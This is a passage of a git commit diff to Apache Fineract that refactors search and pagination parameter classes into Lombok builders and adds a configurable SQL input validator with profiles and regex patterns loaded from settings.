FINERACT-2076: SQL query optimization

This commit is contained in:
Aleksandar Vidakovic
2024-04-25 14:08:04 +02:00
committed by Aleksandar Vidakovic
parent 039bca440b
commit a022a51189
85 changed files with 1186 additions and 1193 deletions
@@ -147,7 +147,8 @@ public class ProvisioningEntriesApiResource {
@QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId,
@Context final UriInfo uriInfo) {
this.platformSecurityContext.authenticatedUser();
SearchParameters params = SearchParameters.forProvisioningEntries(entryId, officeId, productId, categoryId, offset, limit);
SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).provisioningEntryId(entryId).officeId(officeId)
.productId(productId).categoryId(categoryId).build();
Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS);
@@ -319,33 +319,33 @@ public class ProvisioningEntriesReadPlatformServiceImpl implements ProvisioningE
String whereClose = " where ";
List<Object> items = new ArrayList<>();
if (searchParams.isProvisioningEntryIdPassed()) {
if (searchParams.hasProvisioningEntryId()) {
sqlBuilder.append(whereClose + " entry.history_id = ?");
items.add(searchParams.getProvisioningEntryId());
whereClose = " and ";
}
if (searchParams.isOfficeIdPassed()) {
if (searchParams.hasOfficeId()) {
sqlBuilder.append(whereClose + " entry.office_id = ?");
items.add(searchParams.getOfficeId());
whereClose = " and ";
}
if (searchParams.isProductIdPassed()) {
if (searchParams.hasProductId()) {
sqlBuilder.append(whereClose + " entry.product_id = ?");
items.add(searchParams.getProductId());
whereClose = " and ";
}
if (searchParams.isCategoryIdPassed()) {
if (searchParams.hasCategoryId()) {
sqlBuilder.append(whereClose + " entry.category_id = ?");
items.add(searchParams.getCategoryId());
}
sqlBuilder.append(" order by entry.id");
if (searchParams.isLimited()) {
if (searchParams.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParams.getLimit());
if (searchParams.isOffset()) {
if (searchParams.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParams.getOffset());
}
}
@@ -50,6 +50,7 @@ import org.apache.fineract.infrastructure.core.service.DateUtils;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.teller.data.CashierData;
import org.apache.fineract.organisation.teller.data.CashierTransactionData;
import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData;
@@ -70,6 +71,7 @@ public class TellerApiResource {
private final DefaultToApiJsonSerializer<TellerData> jsonSerializer;
private final TellerManagementReadPlatformService readPlatformService;
private final PortfolioCommandSourceWritePlatformService commandWritePlatformService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON })
@@ -315,7 +317,10 @@ public class TellerApiResource {
final LocalDate fromDate = null;
final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate,
toDate, currencyCode, searchParameters);
@@ -344,7 +349,10 @@ public class TellerApiResource {
final LocalDate fromDate = null;
final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
@@ -56,15 +56,9 @@ public class CashierTransactionDataValidator {
}
public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) {
final Integer offset = null;
final Integer limit = null;
final String orderBy = null;
final String sortOrder = null;
final LocalDate fromDate = null;
final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().build();
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
.retrieveCashierTransactionsWithSummary(cashierId, false, null, null, currencyCode, searchParameters);
if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) {
throw new CashierInsufficientAmountException();
}
@@ -76,6 +76,8 @@ public class FineractProperties {
private FineractModulesProperties module;
private FineractSqlValidationProperties sqlValidation;
@Getter
@Setter
public static class FineractTenantProperties {
@@ -533,4 +535,38 @@ public class FineractProperties {
public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties {
}
@Getter
@Setter
public static class FineractSqlValidationProperties {
private List<FineractSqlValidationPatternProperties> patterns;
private List<FineractSqlValidationProfileProperties> profiles;
}
@Getter
@Setter
public static class FineractSqlValidationProfileProperties {
private String name;
private String description;
private List<FineractSqlValidationPatternReferenceProperties> patternRefs;
private Boolean enabled = true;
}
@Getter
@Setter
public static class FineractSqlValidationPatternReferenceProperties {
private String name;
private Integer order;
}
@Getter
@Setter
public static class FineractSqlValidationPatternProperties {
private String name;
private String pattern;
}
}
@@ -18,101 +18,62 @@
*/
package org.apache.fineract.infrastructure.core.data;
import lombok.AccessLevel;
import lombok.Builder;
import lombok.Getter;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
/**
* <p>
* Immutable data object representing pagination parameter values.
* </p>
*/
public final class PaginationParameters {
@Builder
@Getter
public class PaginationParameters {
private final boolean paged;
private final Integer offset;
private final Integer limit;
private final String orderBy;
private final String sortOrder;
// TODO: why do we really need this class? SearchParameters seems to provide similar functionality
public static PaginationParameters instance(Boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
if (null == paged) {
paged = false;
}
public static final int DEFAULT_MAX_LIMIT = 200;
final Integer maxLimitAllowed = getCheckedLimit(limit);
return new PaginationParameters(paged, offset, maxLimitAllowed, orderBy, sortOrder);
}
private PaginationParameters(boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
SQLInjectionValidator.validateSQLInput(orderBy);
SQLInjectionValidator.validateSQLInput(sortOrder);
this.paged = paged;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
}
public static Integer getCheckedLimit(final Integer limit) {
final Integer maxLimitAllowed = 200;
// default to max limit first off
Integer checkedLimit = maxLimitAllowed;
if (limit != null && limit > 0) {
checkedLimit = limit;
} else if (limit != null) {
// unlimited case: limit provided and 0 or less
checkedLimit = null;
}
return checkedLimit;
}
public boolean isPaged() {
return this.paged;
}
public Integer getOffset() {
return this.offset;
}
private boolean paged;
private Integer offset;
@Getter(AccessLevel.NONE)
private Integer limit;
private String orderBy;
private String sortOrder;
public Integer getLimit() {
return this.limit;
if (limit == null) {
return DEFAULT_MAX_LIMIT;
}
if (limit > 0) {
return limit;
}
return null; // unlimited (0 or less)
}
public String getOrderBy() {
return this.orderBy;
}
public String getSortOrder() {
return this.sortOrder;
}
public boolean isOrderByRequested() {
public boolean hasOrderBy() {
return StringUtils.isNotBlank(this.orderBy);
}
public boolean isSortOrderProvided() {
public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder);
}
public boolean isLimited() {
return this.limit != null && this.limit.intValue() > 0;
public boolean hasLimit() {
return this.limit != null && this.limit > 0;
}
public boolean isOffset() {
public boolean hasOffset() {
return this.offset != null;
}
// TODO: following functions are just doing too much in one place; will disappear with type safe queries
public String orderBySql() {
final StringBuilder sql = new StringBuilder();
if (this.isOrderByRequested()) {
if (this.hasOrderBy()) {
sql.append(" order by ").append(this.getOrderBy());
if (this.isSortOrderProvided()) {
if (this.hasSortOrder()) {
sql.append(' ').append(this.getSortOrder());
}
}
@@ -121,9 +82,9 @@ public final class PaginationParameters {
public String limitSql() {
final StringBuilder sql = new StringBuilder();
if (this.isLimited()) {
if (this.hasLimit()) {
sql.append(" limit ").append(this.getLimit());
if (this.isOffset()) {
if (this.hasOffset()) {
sql.append(" offset ").append(this.getOffset());
}
}
@@ -132,10 +93,10 @@ public final class PaginationParameters {
public String paginationSql() {
final StringBuilder sqlBuilder = new StringBuilder(50);
if (this.isOrderByRequested()) {
if (this.hasOrderBy()) {
sqlBuilder.append(' ').append(this.orderBySql());
}
if (this.isLimited()) {
if (this.hasLimit()) {
sqlBuilder.append(' ').append(this.limitSql());
}
@@ -34,7 +34,7 @@ public class PaginationParametersDataValidator {
public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues,
final String resourceName) {
final List<ApiParameterError> dataValidationErrors = new ArrayList<>();
if (parameters.isOrderByRequested() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
if (parameters.hasOrderBy() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy()
+ "' is not supported. The supported orderBy values are " + supportedOrdeByValues;
final ApiParameterError error = ApiParameterError.parameterError(
@@ -43,7 +43,7 @@ public class PaginationParametersDataValidator {
dataValidationErrors.add(error);
}
if (parameters.isSortOrderProvided() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
if (parameters.hasSortOrder() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder()
+ "' is not supported. The supported sortOrder values are " + sortOrderValues;
final ApiParameterError error = ApiParameterError.parameterError(
@@ -18,518 +18,113 @@
*/
package org.apache.fineract.infrastructure.core.service;
import lombok.AccessLevel;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Getter;
import org.apache.commons.lang3.StringUtils;
@Builder
@Getter
@AllArgsConstructor
public final class SearchParameters {
public class SearchParameters {
private final Long officeId;
private final String externalId;
private final String name;
private final String hierarchy;
private final String firstname;
private final String lastname;
private final String status;
private final Integer offset;
private final Integer limit;
private final String orderBy;
private final String sortOrder;
private final String accountNo;
private final String currencyCode;
public static final int DEFAULT_MAX_LIMIT = 200;
private final Long staffId;
private Long officeId;
private String externalId;
private String name;
private String hierarchy;
private String firstname;
private String lastname;
private String status;
private Integer offset;
@Getter(AccessLevel.NONE)
private Integer limit;
private String orderBy;
private String sortOrder;
private String accountNo;
private String currencyCode;
private Long staffId;
private Long loanId;
private Long savingsId;
@Getter(AccessLevel.NONE)
private Boolean orphansOnly;
private Long provisioningEntryId;
private Long productId;
private Long categoryId;
@Getter(AccessLevel.NONE)
private Boolean isSelfUser;
private final Long loanId;
public Integer getLimit() {
if (limit == null) {
return DEFAULT_MAX_LIMIT;
}
private final Long savingsId;
private final Boolean orphansOnly;
if (limit > 0) {
return limit;
}
// Provisioning Entries Search Params
private final Long provisioningEntryId;
private final Long productId;
private final Long categoryId;
private final boolean isSelfUser;
public static SearchParameters from(final Long officeId, final String externalId, final String name, final String hierarchy) {
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, null, null, null, null, staffId, accountNo, loanId,
savingsId, orphansOnly, isSelfUser);
return null; // unlimited (0 or less)
}
public static SearchParameters forClients(final Long officeId, final String externalId, final String displayName,
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
return new SearchParameters(officeId, externalId, displayName, hierarchy, firstname, lastname, status, offset, maxLimitAllowed,
orderBy, sortOrder, staffId, accountNo, loanId, savingsId, orphansOnly, isSelfUser);
public Boolean getOrphansOnly() {
return Boolean.TRUE.equals(orphansOnly);
}
public static SearchParameters forGroups(final Long officeId, final Long staffId, final String externalId, final String name,
final String hierarchy, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
final Boolean orphansOnly) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final boolean isSelfUser = false;
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
public Boolean getIsSelfUser() {
return Boolean.TRUE.equals(isSelfUser);
}
public static SearchParameters forOffices(final String orderBy, final String sortOrder) {
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, null, null, orderBy, sortOrder, null, null, null, null, orphansOnly,
isSelfUser);
}
public static SearchParameters forLoans(final String externalId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final String accountNo) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long loanId, final Long savingsId) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long loanId, final Long savingsId, final String currencyCode) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Boolean orphansOnly = false;
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
loanId, savingsId, orphansOnly, currencyCode);
}
public static SearchParameters forPagination(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forPaginationAndAccountNumberSearch(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final String accountNumber) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, accountNumber,
loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forPagination(final Integer offset, final Integer limit) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final String orderBy = null;
final String sortOrder = null;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forProvisioningEntries(final Long provisioningEntryId, final Long officeId, final Long productId,
final Long categoryId, final Integer offset, final Integer limit) {
return new SearchParameters(provisioningEntryId, officeId, productId, categoryId, offset, limit);
}
public static SearchParameters forSavings(final String externalId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forAccountTransfer(final String externalId, final Integer offset, final Integer limit,
final String orderBy, final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forSMSCampaign(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
final String externalId = null;
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forEmailCampaign(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final String externalId = null;
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
final String firstname, final String lastname, final String status, final Integer offset, final Integer limit,
final String orderBy, final String sortOrder, final Long staffId, final String accountNo, final Long loanId,
final Long savingsId, final Boolean orphansOnly, boolean isSelfUser) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = null;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = isSelfUser;
this.status = status;
}
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
final String firstname, final String lastname, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long staffId, final String accountNo, final Long loanId, final Long savingsId,
final Boolean orphansOnly, boolean isSelfUser) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = null;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = isSelfUser;
this.status = null;
}
private SearchParameters(final Long provisioningEntryId, final Long officeId, final Long productId, final Long categoryId,
final Integer offset, final Integer limit) {
this.externalId = null;
this.name = null;
this.hierarchy = null;
this.firstname = null;
this.lastname = null;
this.orderBy = null;
this.sortOrder = null;
this.staffId = null;
this.accountNo = null;
this.loanId = null;
this.savingsId = null;
this.orphansOnly = null;
this.currencyCode = null;
this.officeId = officeId;
this.offset = offset;
this.limit = limit;
this.provisioningEntryId = provisioningEntryId;
this.productId = productId;
this.categoryId = categoryId;
this.isSelfUser = false;
this.status = null;
}
public SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy, final String firstname,
final String lastname, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
final Long staffId, final String accountNo, final Long loanId, final Long savingsId, final Boolean orphansOnly,
final String currencyCode) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = currencyCode;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = false;
this.status = null;
}
public boolean isOrderByRequested() {
public boolean hasOrderBy() {
return StringUtils.isNotBlank(this.orderBy);
}
public boolean isSortOrderProvided() {
public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder);
}
public static Integer getCheckedLimit(final Integer limit) {
final Integer maxLimitAllowed = 200;
// default to max limit first off
Integer checkedLimit = maxLimitAllowed;
if (limit != null && limit > 0) {
checkedLimit = limit;
} else if (limit != null) {
// unlimited case: limit provided and 0 or less
checkedLimit = null;
}
return checkedLimit;
}
public boolean isOfficeIdPassed() {
public boolean hasOfficeId() {
return this.officeId != null && this.officeId != 0;
}
public boolean isCurrencyCodePassed() {
return this.currencyCode != null;
public boolean hasCurrencyCode() {
return StringUtils.isNotBlank(this.currencyCode);
}
public boolean isLimited() {
return this.limit != null && this.limit.intValue() > 0;
public boolean hasLimit() {
return this.limit != null && this.limit > 0;
}
public boolean isOffset() {
public boolean hasOffset() {
return this.offset != null;
}
public boolean isScopedByOfficeHierarchy() {
public boolean hasHierarchy() {
return StringUtils.isNotBlank(this.hierarchy);
}
public Long getOfficeId() {
return this.officeId;
}
public String getCurrencyCode() {
return this.currencyCode;
}
public String getExternalId() {
return this.externalId;
}
public String getName() {
return this.name;
}
public String getHierarchy() {
return this.hierarchy;
}
public String getFirstname() {
return this.firstname;
}
public String getLastname() {
return this.lastname;
}
public String getStatus() {
return this.status;
}
public Integer getOffset() {
return this.offset;
}
public Integer getLimit() {
return this.limit;
}
public String getOrderBy() {
return this.orderBy;
}
public String getSortOrder() {
return this.sortOrder;
}
public boolean isStaffIdPassed() {
public boolean hasStaffId() {
return this.staffId != null && this.staffId != 0;
}
public Long getStaffId() {
return this.staffId;
}
public String getAccountNo() {
return this.accountNo;
}
public boolean isLoanIdPassed() {
public boolean hasLoanId() {
return this.loanId != null && this.loanId != 0;
}
public boolean isSavingsIdPassed() {
public boolean hasSavingsId() {
return this.savingsId != null && this.savingsId != 0;
}
public Long getLoanId() {
return this.loanId;
}
public Long getSavingsId() {
return this.savingsId;
}
public Boolean isOrphansOnly() {
if (this.orphansOnly != null) {
return this.orphansOnly;
}
return false;
}
public Long getProvisioningEntryId() {
return this.provisioningEntryId;
}
public boolean isProvisioningEntryIdPassed() {
public boolean hasProvisioningEntryId() {
return this.provisioningEntryId != null && this.provisioningEntryId != 0;
}
public Long getProductId() {
return this.productId;
}
public boolean isProductIdPassed() {
public boolean hasProductId() {
return this.productId != null && this.productId != 0;
}
public Long getCategoryId() {
return this.categoryId;
}
public boolean isCategoryIdPassed() {
public boolean hasCategoryId() {
return this.categoryId != null && this.categoryId != 0;
}
public boolean isSelfUser() {
return this.isSelfUser;
}
/**
* creates an instance of the SearchParameters from a request for the report mailing job run history
*
* @return SearchParameters object
**/
public static SearchParameters fromReportMailingJobRunHistory(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
null, false);
}
/**
* creates an instance of the {@link SearchParameters} from a request for the report mailing job
*
* @return {@link SearchParameters} object
*/
public static SearchParameters fromReportMailingJob(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
null, false);
}
}
@@ -0,0 +1,30 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.exception;
import lombok.Getter;
import org.apache.fineract.infrastructure.core.exception.AbstractPlatformDomainRuleException;
@Getter
public class SqlValidationException extends AbstractPlatformDomainRuleException {
public SqlValidationException(final String message) {
super("error.msg.sql.validation", "SQL validation error: " + message);
}
}
@@ -0,0 +1,28 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.service;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
public interface SqlValidator {
void validate(String statement) throws SqlValidationException;
void validate(String profile, String statement) throws SqlValidationException;
}
@@ -31,25 +31,22 @@ import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DataSourceUtils;
import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component
public class ColumnValidator {
private static final Logger LOG = LoggerFactory.getLogger(ColumnValidator.class);
private final SqlValidator sqlValidator;
private final JdbcTemplate jdbcTemplate;
@Autowired
public ColumnValidator(final JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
@SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!")
private void validateColumn(Map<String, Set<String>> tableColumnMap) {
Connection connection = null;
@@ -87,7 +84,7 @@ public class ColumnValidator {
columns.add(rs.getString("column_name"));
}
} catch (SQLException e) {
LOG.error("Problem occurred in getTableColumns function", e);
log.error("Problem occurred in getTableColumns function", e);
}
return columns;
}
@@ -97,7 +94,7 @@ public class ColumnValidator {
if (StringUtils.isBlank(condition)) {
continue;
}
SQLInjectionValidator.validateSQLInput(condition);
sqlValidator.validate("column", condition);
List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<="));
condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase();
for (String op : operator) {
@@ -0,0 +1,100 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import jakarta.annotation.PostConstruct;
import java.util.Comparator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.config.FineractProperties;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component
public class DefaultSqlValidator implements SqlValidator {
private final FineractProperties properties;
private Map<String, Pattern> patterns = new LinkedHashMap<>();
private Map<String, FineractProperties.FineractSqlValidationProfileProperties> profiles = new LinkedHashMap<>();
private static final String MAIN_PROFILE = "main";
@PostConstruct
public void init() {
properties.getSqlValidation().getPatterns().forEach(pattern -> {
log.info("Setup SQL validation pattern: {}", pattern.getName());
patterns.put(pattern.getName(), Pattern.compile(pattern.getPattern(), Pattern.DOTALL));
});
properties.getSqlValidation().getProfiles().forEach(profile -> {
log.info("Setup SQL validation profile: {}", profile.getName());
profile.getPatternRefs()
.sort(Comparator.comparing(FineractProperties.FineractSqlValidationPatternReferenceProperties::getOrder));
profiles.put(profile.getName(), profile);
});
// consistency checks
if (!profiles.containsKey(MAIN_PROFILE)) {
throw new IllegalStateException(
"SQL validation profile 'main' missing. This validation profile is the default fallback and has to be provided. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
}
// the default profile needs at least one pattern reference
if (profiles.get(MAIN_PROFILE).getPatternRefs().isEmpty()) {
throw new IllegalStateException(
"SQL Validation pattern references in profile 'main' are empty. Please make sure there is at least one reference available. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
}
// the default profile needs to be enabled
